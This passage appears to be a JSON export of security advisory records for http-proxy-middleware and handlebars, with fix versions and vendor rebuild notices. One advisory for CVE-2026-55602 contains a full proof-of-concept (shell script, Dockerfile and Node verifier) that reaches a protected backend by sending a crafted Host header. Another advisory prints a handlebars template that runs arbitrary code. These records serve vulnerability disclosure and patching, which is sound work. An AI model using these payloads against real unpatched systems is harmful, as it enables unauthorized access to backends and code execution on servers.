'http://127.0.0.1:3102',\n  },\n});\n```\n\nIt then sends:\n\n1. a baseline request to `/api` with `Host: safe.example:3000`\n2. a crafted request to `/api` with `Host: evillocalhost:3000`\n\nObserved result from the validated PoC:\n\n- baseline request: `STEP baseline-route body=DEFAULT`\n- crafted request: `STEP crafted-route body=SECRET`\n- success marker: `RESULT reproduced host_header_injection router substring match bypass`\n\nThe PoC is considered successful only if:\n\n1. the baseline request stays on the default backend\n2. the crafted request reaches the alternate backend\n3. the crafted host is not equal to the configured router host\n\n# Impact\n\nThis is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header.","status":"published","published":"2026-06-18T13:06:11Z","modified":"2026-06-23T10:15:39Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-20","CWE-187"],"updated_at":"2026-11-02T14:40:32.744157Z"},{"id":"GHSA-q42p-pg8m-cqh6","title":"Prototype Pollution in handlebars","description":"Versions of `handlebars` prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.\n\n\n## Recommendation\n\nFor handlebars 4.1.x upgrade to 4.1.2 or later.\nFor handlebars 4.0.x upgrade to 4.0.14 or later.","status":"published","published":"2019-06-05T14:07:48Z","modified":"2023-11-29T20:32:55Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-471"],"updated_at":"2026-11-02T14:37:22.840002Z"},{"id":"GHSA-g9r4-xpmj-mj65","title":"Prototype Pollution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.","status":"published","published":"2020-09-04T15:06:32Z","modified":"2023-01-09T05:04:02Z","cwes":["CWE-1321"],"updated_at":"2026-11-02T14:36:08.267721Z"},{"id":"GHSA-q2c6-c6pm-g3gh","title":"Arbitrary Code Execution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a [previous issue](https://www.npmjs.com/advisories/1316). This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.","status":"published","published":"2020-09-04T15:07:38Z","modified":"2023-01-09T05:04:24Z","updated_at":"2026-11-02T14:36:09.554044Z"}],"nvd":[{"id":"CVE-2026-55602","description":"http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.","status":"published","published":"2026-06-22T18:16:48.073Z","modified":"2026-10-25T23:10:00.167Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-20","CWE-187"],"updated_at":"2026-11-02T14:12:24.912854Z"}],"osv":[{"id":"CVE-2026-55602","title":"http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass","description":"http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.","status":"published","published":"2026-06-22T15:58:08.699Z","modified":"2026-10-28T02:30:54.56689954Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-187","CWE-20"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"GHSA-2cf5-4w76-r9qv","title":"Arbitrary Code Execution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\nThe following template can be used to demonstrate the vulnerability:  \n```{{#with \"constructor\"}}\n\t{{#with split as |a|}}\n\t\t{{pop (push \"alert('Vulnerable Handlebars JS');\")}}\n\t\t{{#with (concat (lookup join (slice 0 1)))}}\n\t\t\t{{#each (slice 2 3)}}\n\t\t\t\t{{#with (apply 0 a)}}\n\t\t\t\t\t{{.}}\n\t\t\t\t{{/with}}\n\t\t\t{{/each}}\n\t\t{{/with}}\n\t{{/with}}\n{{/with}}```\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.2 or later.","status":"published","published":"2020-09-04T14:57:38Z","modified":"2026-09-10T03:48:33.174881747Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:L","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:34.338541Z"},{"id":"GHSA-64mm-vxmg-q3vj","title":"http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass","description":"# Summary\n\n`http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.\n\n# Details\n\nTested code state:\n\n- validated on tag `v4.0.0-beta.5`\n- corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358`\n\nRelevant code locations:\n\n- `src/router.ts`\n- `src/http-proxy-middleware.ts`\n\nAffected public API:\n\n- `createProxyMiddleware({ router: { 'host/path': 'http://target' } })`\n\nCode explanation:\n\nWhen a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if:\n\n```ts\nhostAndPath.indexOf(key) \u003e -1\n```\n\nThat is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:\n\n```txt\nlocalhost:3000/api\n```\n\nbut the attacker-controlled host is:\n\n```txt\nevillocalhost:3000\n```\n\nand the request path is:\n\n```txt\n/api\n```\n\nThe concatenated attacker-controlled string:\n\n```txt\nevillocalhost:3000/api\n```\n\nstill contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.\n\nExploit path:\n\n1. the application enables the documented proxy-table `router` feature with at least one host+path rule\n2. an external attacker sends an ordinary HTTP request with a crafted `Host` header\n3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying\n4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching\n5. the request is proxied to the wrong backend\n\n## PoC\n\nCreate these files in the same working directory and run:\n\n```bash\nbash ./run.sh\n```\n\n### File: `run.sh`\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" \u0026\u0026 pwd)\"\nREPO_URL=\"https://github.com/chimurai/http-proxy-middleware.git\"\nREPO_REF=\"v4.0.0-beta.5\"\nWORKDIR=\"$(mktemp -d \"${SCRIPT_DIR}/.tmp-repro.XXXXXX\")\"\nTARGET_REPO_DIR=\"${WORKDIR}/repo\"\nREPRO_DIR=\"${WORKDIR}/reproduction\"\nIMAGE_TAG=\"http-proxy-middleware-router-bypass-poc\"\n\ncleanup() {\n  rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\necho \"[a3] cloning target repository\"\ngit clone --quiet \"${REPO_URL}\" \"${TARGET_REPO_DIR}\"\ngit -C \"${TARGET_REPO_DIR}\" checkout --quiet \"${REPO_REF}\"\n\nmkdir -p \"${REPRO_DIR}\"\ncp \"${SCRIPT_DIR}/Dockerfile\" \"${WORKDIR}/Dockerfile\"\ncp \"${SCRIPT_DIR}/verify.mjs\" \"${REPRO_DIR}/verify.mjs\"\n\necho \"[a3] building reproduction image\"\ndocker build -f \"${WORKDIR}/Dockerfile\" -t \"${IMAGE_TAG}\" \"${WORKDIR}\"\n\necho \"[a3] running verification\"\ndocker run --rm \"${IMAGE_TAG}\" node /work/reproduction/verify.mjs\n```\n\n### File: `Dockerfile`\n\n```Dockerfile\nFROM node:22-bullseye\n\nWORKDIR /work\n\nCOPY repo/package.json repo/yarn.lock /work/repo/\n\nRUN corepack enable \\\n  \u0026\u0026 cd /work/repo \\\n  \u0026\u0026 yarn install --frozen-lockfile\n\nCOPY repo /work/repo\nRUN cd /work/repo \u0026\u0026 yarn build\n\nCOPY reproduction /work/reproduction\n```\n\n### File: `verify.mjs`\n\n```js\nimport http from 'node:http';\nimport fs from 'node:fs';\nimport assert from 'node:assert/strict';\n\nimport { createProxyMiddleware } from '/work/repo/dist/index.js';\n\nconst ROUTER_KEY = 'localhost:3000/api';\nconst CRAFTED_HOST = 'evillocalhost:3000';\n\nfunction listen(server, port) {\n  return new Promise((resolve) =\u003e {\n    server.listen(port, '127.0.0.1', () =\u003e resolve());\n  });\n}\n\nfunction close(server) {\n  return new Promise((resolve, reject) =\u003e {\n    server.close((err) =\u003e {\n      if (err) {\n        reject(err);\n        return;\n      }\n      resolve();\n    });\n  });\n}\n\nfunction request(path, host) {\n  return new Promise((resolve, reject) =\u003e {\n    const req = http.request(\n      {\n        host: '127.0.0.1',\n        port: 3000,\n        path,\n        method: 'GET',\n        headers: {\n          Host: host,\n        },\n      },\n      (res) =\u003e {\n        let data = '';\n        res.setEncoding('utf8');\n        res.on('data', (chunk) =\u003e {\n          data += chunk;\n        });\n        res.on('end', () =\u003e {\n          resolve({ statusCode: res.statusCode, body: data });\n        });\n      },\n    );\n    req.on('error', reject);\n    req.end();\n  });\n}\n\nconst defaultBackend = http.createServer((req, res) =\u003e {\n  res.end('DEFAULT');\n});\n\nconst secretBackend = http.createServer((req, res) =\u003e {\n  res.end('SECRET');\n});\n\nconst proxyMiddleware = createProxyMiddleware({\n  target: 'http://127.0.0.1:3101',\n  router: {\n    [ROUTER_KEY]: 'http://127.0.0.1:3102',\n  },\n});\n\nconst proxyServer = http.createServer((req, res) =\u003e {\n  proxyMiddleware(req, res, () =\u003e {\n    res.statusCode = 404;\n    res.end('NO_PROXY');\n  });\n});\n\ntry {\n  assert.ok(fs.existsSync('/work/repo/dist/index.js'));\n  assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));\n\n  await listen(defaultBackend, 3101);\n  await listen(secretBackend, 3102);\n  await listen(proxyServer, 3000);\n  console.log('STEP start-services ok');\n\n  const baseline = await request('/api', 'safe.example:3000');\n  assert.equal(baseline.statusCode, 200);\n  assert.equal(baseline.body, 'DEFAULT');\n  console.log(`STEP baseline-route body=${baseline.body}`);\n\n  const crafted = await request('/api', CRAFTED_HOST);\n  assert.equal(crafted.statusCode, 200);\n  assert.equal(crafted.body, 'SECRET');\n  assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);\n  console.log(`STEP crafted-route body=${crafted.body}`);\n\n  console.log('RESULT reproduced host_header_injection router substring match bypass');\n} finally {\n  await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);\n}\n```\n\nThis PoC starts:\n\n- one default backend returning `DEFAULT`\n- one alternate backend returning `SECRET`\n- one proxy using:\n\n```js\ncreateProxyMiddleware({\n  target: 'http://127.0.0.1:3101',\n  router: {\n    [ROUTER_KEY]: 'http://127.0.0.1:3102',\n  },\n});\n```\n\nIt then sends:\n\n1. a baseline request to `/api` with `Host: safe.example:3000`\n2. a crafted request to `/api` with `Host: evillocalhost:3000`\n\nObserved result from the validated PoC:\n\n- baseline request: `STEP baseline-route body=DEFAULT`\n- crafted request: `STEP crafted-route body=SECRET`\n- success marker: `RESULT reproduced host_header_injection router substring match bypass`\n\nThe PoC is considered successful only if:\n\n1. the baseline request stays on the default backend\n2. the crafted request reaches the alternate backend\n3. the crafted host is not equal to the configured router host\n\n# Impact\n\nThis is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header.","status":"published","published":"2026-06-18T13:06:11Z","modified":"2026-09-10T03:50:48.473416745Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-187","CWE-20"],"updated_at":"2026-11-02T15:46:39.266402Z"},{"id":"GHSA-q42p-pg8m-cqh6","title":"Prototype Pollution in handlebars","description":"Versions of `handlebars` prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.\n\n\n## Recommendation\n\nFor handlebars 4.1.x upgrade to 4.1.2 or later.\nFor handlebars 4.0.x upgrade to 4.0.14 or later.","status":"published","published":"2019-06-05T14:07:48Z","modified":"2026-09-10T03:48:23.648231681Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-471"],"updated_at":"2026-11-02T15:46:54.055966Z"},{"id":"CLSA-2026-1774743817","title":"TuxCare security update for handlebars (1 CVE)","description":"TuxCare rebuilt handlebars to address 1 CVE. Fixed in 1.3.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:15Z","modified":"2026-10-15T09:47:48.668758728Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774743830","title":"TuxCare security update for handlebars (3 CVEs)","description":"TuxCare rebuilt handlebars to address 3 CVEs. Fixed in 1.0.12-tuxcare.2.","status":"published","published":"2026-08-04T14:52:16Z","modified":"2026-10-23T19:28:13.663406058Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1783991046","title":"TuxCare security update for http-proxy-middleware (3 CVEs)","description":"TuxCare rebuilt http-proxy-middleware to address 3 CVEs. Fixed in 3.0.3-tuxcare.1.","status":"published","published":"2026-08-04T14:52:43Z","modified":"2026-10-15T09:47:34.978184122Z","updated_at":"2026-11-02T15:43:46.151924Z"},{"id":"CLSA-2026-1784509824","title":"TuxCare security update for http-proxy-middleware (1 CVE)","description":"TuxCare rebuilt http-proxy-middleware to address 1 CVE. Fixed in 2.0.7-tuxcare.3.","status":"published","published":"2026-08-04T14:52:45Z","modified":"2026-10-15T09:45:58.436562802Z","updated_at":"2026-11-02T15:43:46.151924Z"},{"id":"CLSA-2026-1786731948","title":"TuxCare security update for dompurify (34 CVEs)","description":"TuxCare rebuilt dompurify to address 34 CVEs. Fixed in 3.0.3-tuxcare.1.","status":"withdrawn","published":"2026-08-14T18:25:48Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1788806507","title":"TuxCare security update for http-proxy-middleware (1 CVE)","description":"TuxCare rebuilt http-proxy-middleware to address 1 CVE. Fixed in 0.17.2-tuxcare.2.","status":"published","published":"2026-09-07T18:41:47Z","modified":"2026-10-15T09:48:03.10540275Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1788806602","title":"TuxCare security update for http-proxy-middleware (1 CVE)","description":"TuxCare rebuilt http-proxy-middleware to address 1 CVE. Fixed in 0.18.0-tuxcare.2.","status":"published","published":"2026-09-07T18:43:22Z","modified":"2026-10-15T09:48:03.140899443Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1788806634","title":"TuxCare security update for http-proxy-middleware (1 CVE)","description":"TuxCare rebuilt http-proxy-middleware to address 1 CVE. Fixed in 0.17.3-tuxcare.2.","status":"published","published":"2026-09-07T18:43:54Z","modified":"2026-10-15T09:48:03.104688001Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1788867095","title":"TuxCare security update for http-proxy-middleware (1 CVE)","description":"TuxCare rebuilt http-proxy-middleware to address 1 CVE. Fixed in 0.19.1-tuxcare.3.","status":"published","published":"2026-09-08T11:31:35Z","modified":"2026-10-15T09:47:55.48539592Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1792000560","title":"TuxCare security update for http-proxy-middleware (2 CVEs)","description":"TuxCare rebuilt http-proxy-middleware to address 2 CVEs. Fixed in 4.0.0-tuxcare.1.","status":"published","published":"2026-10-14T17:56:00Z","modified":"2026-10-15T09:47:40.496606527Z","updated_at":"2026-11-02T15:43:50.599064Z"},{"id":"CLSA-2026-1792449353","title":"TuxCare security update for http-proxy-middleware (2 CVEs)","description":"TuxCare rebuilt http-proxy-middleware to address 2 CVEs. Fixed in 3.0.5-tuxcare.1.","status":"published","published":"2026-10-19T22:35:53Z","modified":"2026-10-20T01:45:11.700373961Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"GHSA-g9r4-xpmj-mj65","title":"Prototype Pollution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.","status":"published","published":"2020-09-04T15:06:32Z","modified":"2026-09-10T03:49:13.649783342Z","cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:47.472172Z"},{"id":"GHSA-q2c6-c6pm-g3gh","title":"Arbitrary Code Execution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a [previous issue](https://www.npmjs.com/advisories/1316). This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.","status":"published","published":"2020-09-04T15:07:38Z","modified":"2026-09-10T03:48:58.277710865Z","updated_at":"2026-11-02T15:46:53.700556Z"},{"id":"openSUSE-SU-2026:11680-1","title":"agama-web-ui-24+0.a836cced5-52.1 on GA media","description":"These are all security issues fixed in the agama-web-ui-24+0.a836cced5-52.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-09-04T00:00:00Z","modified":"2026-09-05T09:45:03.960220408Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"openSUSE-SU-2026:12070-1","title":"velociraptor-0.76.7.0.git145.b60ef1146-1.1 on GA media","description":"These are all security issues fixed in the velociraptor-0.76.7.0.git145.b60ef1146-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-06T00:00:00Z","modified":"2026-10-07T17:23:11.433086957Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:21448-1","title":"Security update for agama-web-ui","description":"This update for agama-web-ui fixes the following issues:\n\n- CVE-2025-7783: form-data: unsafe `Math.random()` function is used to select a boundary value for multipart\n  form-encoded data (bsc#1246822).\n- CVE-2026-12143: form-data: CRLF injection via unescaped multipart field names and filenames (bsc#1272310).\n- CVE-2026-13149: brace-expansion: `expand()` function exhibits exponential-time complexity when processing\n  non-expanding `{}` brace groups (bsc#1269927).\n- CVE-2026-13311: shell-quote: quadratic complexity in `parse()` function when processing specially crafted strings\n  (bsc#1269359).\n- CVE-2026-13676: fast-uri: host-based policy bypass due to failure to canonicalize Unicode/IDN hostnames for\n  HTTP-family URLs (bsc#1269595).\n- CVE-2026-27601: underscore: DoS via stack overflow due to missing depth limits in `_.flatten` and `_.isEqual`\n  functions (bsc#1259169).\n- CVE-2026-40181: react-router: open redirect to an external domain due to path values starting with `//` being\n  reinterpreted as protocol-relative URLs (bsc#1272311).\n- CVE-2026-49356: @babel/core: arbitrary file read via `sourceMappingURL` comment (bsc#1272317).\n- CVE-2026-53550: js-yaml: quadratic complexity in merge-key processing when processing a crafted YAML document\n  (bsc#1268851).\n- CVE-2026-53632: launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows (bsc#1272319).\n- CVE-2026-54466: websocket-driver: message corruption via abuse of protocol length headers (bsc#1272312).\n- CVE-2026-54490: websocket-driver: resource limit bypass via message compression (bsc#1272313).\n- CVE-2026-55602: http-proxy-middleware: Host-header-driven backend routing bypass via `router` host+path substring\n  matching (bsc#1272318).\n","status":"published","published":"2026-07-27T15:55:38Z","modified":"2026-07-29T18:24:28.648555524Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"ROOT-APP-NPM-CVE-2026-55602","title":"CVE-2026-55602 in @rootio/http-proxy-middleware - Patched by Root","description":"Root has patched CVE-2026-55602 in the @rootio/http-proxy-middleware package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-07-27T08:21:28Z","modified":"2026-07-27T13:15:13.758113872Z","updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"ROOT-APP-NPM-GHSA-2cf5-4w76-r9qv","title":"GHSA-2cf5-4w76-r9qv in handlebars - Patched by Root","description":"Root has patched GHSA-2cf5-4w76-r9qv in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-20T10:47:36Z","modified":"2026-10-20T11:15:38.540557189Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"ROOT-APP-NPM-GHSA-g9r4-xpmj-mj65","title":"GHSA-g9r4-xpmj-mj65 in handlebars - Patched by Root","description":"Root has patched GHSA-g9r4-xpmj-mj65 in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-20T10:47:36Z","modified":"2026-10-20T11:15:39.391242933Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"ROOT-APP-NPM-GHSA-q2c6-c6pm-g3gh","title":"GHSA-q2c6-c6pm-g3gh in handlebars - Patched by Root","description":"Root has patched GHSA-q2c6-c6pm-g3gh in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-20T10:47:36Z","modified":"2026-10-20T11:15:37.928892011Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"ROOT-APP-NPM-GHSA-q42p-pg8m-cqh6","title":"GHSA-q42p-pg8m-cqh6 in handlebars - Patched by Root","description":"Root has patched GHSA-q42p-pg8m-cqh6 in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-20T10:47:36Z","modified":"2026-10-20T11:15:37.540463486Z","updated_at":"2026-11-02T15:53:27.940619Z"}]}}
